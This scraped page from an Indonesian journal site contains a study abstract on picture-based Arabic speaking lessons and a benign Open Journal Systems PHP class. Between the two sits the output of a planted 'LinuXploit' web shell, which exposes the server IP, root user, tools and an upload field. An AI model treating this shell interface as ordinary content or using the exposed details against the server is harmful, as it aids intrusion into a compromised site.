Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 18.221.93.167 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/reviewForm/ |
Upload File : |
<?php
/**
* @file classes/reviewForm/ReviewFormElement.inc.php
*
* Copyright (c) 2014-2019 Simon Fraser University
* Copyright (c) 2000-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @class ReviewFormElement
* @ingroup reviewForm
* @see ReviewFormElementDAO
*
* @brief Basic class describing a review form element.
*
*/
define('REVIEW_FORM_ELEMENT_TYPE_SMALL_TEXT_FIELD', 0x000001);
define('REVIEW_FORM_ELEMENT_TYPE_TEXT_FIELD', 0x000002);
define('REVIEW_FORM_ELEMENT_TYPE_TEXTAREA', 0x000003);
define('REVIEW_FORM_ELEMENT_TYPE_CHECKBOXES', 0x000004);
define('REVIEW_FORM_ELEMENT_TYPE_RADIO_BUTTONS', 0x000005);
define('REVIEW_FORM_ELEMENT_TYPE_DROP_DOWN_BOX', 0x000006);
class ReviewFormElement extends DataObject {
/**
* Get localized question.
* @return string
*/
function getLocalizedQuestion() {
return $this->getLocalizedData('question');
}
/**
* Get localized description.
* @return string
*/
function getLocalizedDescription() {
return $this->getLocalizedData('description');
}
/**
* Get localized list of possible responses.
* @return array
*/
function getLocalizedPossibleResponses() {
return $this->getLocalizedData('possibleResponses');
}
//
// Get/set methods
//
/**
* Get the review form ID of the review form element.
* @return int
*/
function getReviewFormId() {
return $this->getData('reviewFormId');
}
/**
* Set the review form ID of the review form element.
* @param $reviewFormId int
*/
function setReviewFormId($reviewFormId) {
$this->setData('reviewFormId', $reviewFormId);
}
/**
* Get sequence of review form element.
* @return float
*/
function getSequence() {
return $this->getData('sequence');
}
/**
* Set sequence of review form element.
* @param $sequence float
*/
function setSequence($sequence) {
$this->setData('sequence', $sequence);
}
/**
* Get the type of the review form element.
* @return string
*/
function getElementType() {
return $this->getData('reviewFormElementType');
}
/**
* Set the type of the review form element.
* @param $reviewFormElementType string
*/
function setElementType($reviewFormElementType) {
$this->setData('reviewFormElementType', $reviewFormElementType);
}
/**
* Get required flag
* @return boolean
*/
function getRequired() {
return $this->getData('required');
}
/**
* Set required flag
* @param $viewable boolean
*/
function setRequired($required) {
$this->setData('required', $required);
}
/**
* get included
* @return boolean
*/
function getIncluded() {
return $this->getData('included');
}
/**
* set included
* @param $included boolean
*/
function setIncluded($included) {
$this->setData('included', $included);
}
/**
* Get question.
* @param $locale string
* @return string
*/
function getQuestion($locale) {
return $this->getData('question', $locale);
}
/**
* Set question.
* @param $question string
* @param $locale string
*/
function setQuestion($question, $locale) {
$this->setData('question', $question, $locale);
}
/**
* Get description.
* @param $locale string
* @return string
*/
function getDescription($locale) {
return $this->getData('description', $locale);
}
/**
* Set description.
* @param $description string
* @param $locale string
*/
function setDescription($description, $locale) {
$this->setData('description', $description, $locale);
}
/**
* Get possible response.
* @param $locale string
* @return string
*/
function getPossibleResponses($locale) {
return $this->getData('possibleResponses', $locale);
}
/**
* Set possibleResponse.
* @param $possibleResponse string
* @param $locale string
*/
function setPossibleResponses($possibleResponses, $locale) {
$this->setData('possibleResponses', $possibleResponses, $locale);
}
/**
* Get an associative array matching review form element type codes with locale strings.
* (Includes default '' => "Choose One" string.)
* @return array reviewFormElementType => localeString
*/
function &getReviewFormElementTypeOptions() {
static $reviewFormElementTypeOptions = array(
'' => 'manager.reviewFormElements.chooseType',
REVIEW_FORM_ELEMENT_TYPE_SMALL_TEXT_FIELD => 'manager.reviewFormElements.smalltextfield',
REVIEW_FORM_ELEMENT_TYPE_TEXT_FIELD => 'manager.reviewFormElements.textfield',
REVIEW_FORM_ELEMENT_TYPE_TEXTAREA => 'manager.reviewFormElements.textarea',
REVIEW_FORM_ELEMENT_TYPE_CHECKBOXES => 'manager.reviewFormElements.checkboxes',
REVIEW_FORM_ELEMENT_TYPE_RADIO_BUTTONS => 'manager.reviewFormElements.radiobuttons',
REVIEW_FORM_ELEMENT_TYPE_DROP_DOWN_BOX => 'manager.reviewFormElements.dropdownbox'
);
return $reviewFormElementTypeOptions;
}
/**
* Get an array of all multiple responses element types.
* @return array reviewFormElementTypes
*/
function &getMultipleResponsesElementTypes() {
static $multipleResponsesElementTypes = array(REVIEW_FORM_ELEMENT_TYPE_CHECKBOXES, REVIEW_FORM_ELEMENT_TYPE_RADIO_BUTTONS, REVIEW_FORM_ELEMENT_TYPE_DROP_DOWN_BOX);
return $multipleResponsesElementTypes;
}
}
Youez - 2016 - github.com/yon3zu
LinuXploit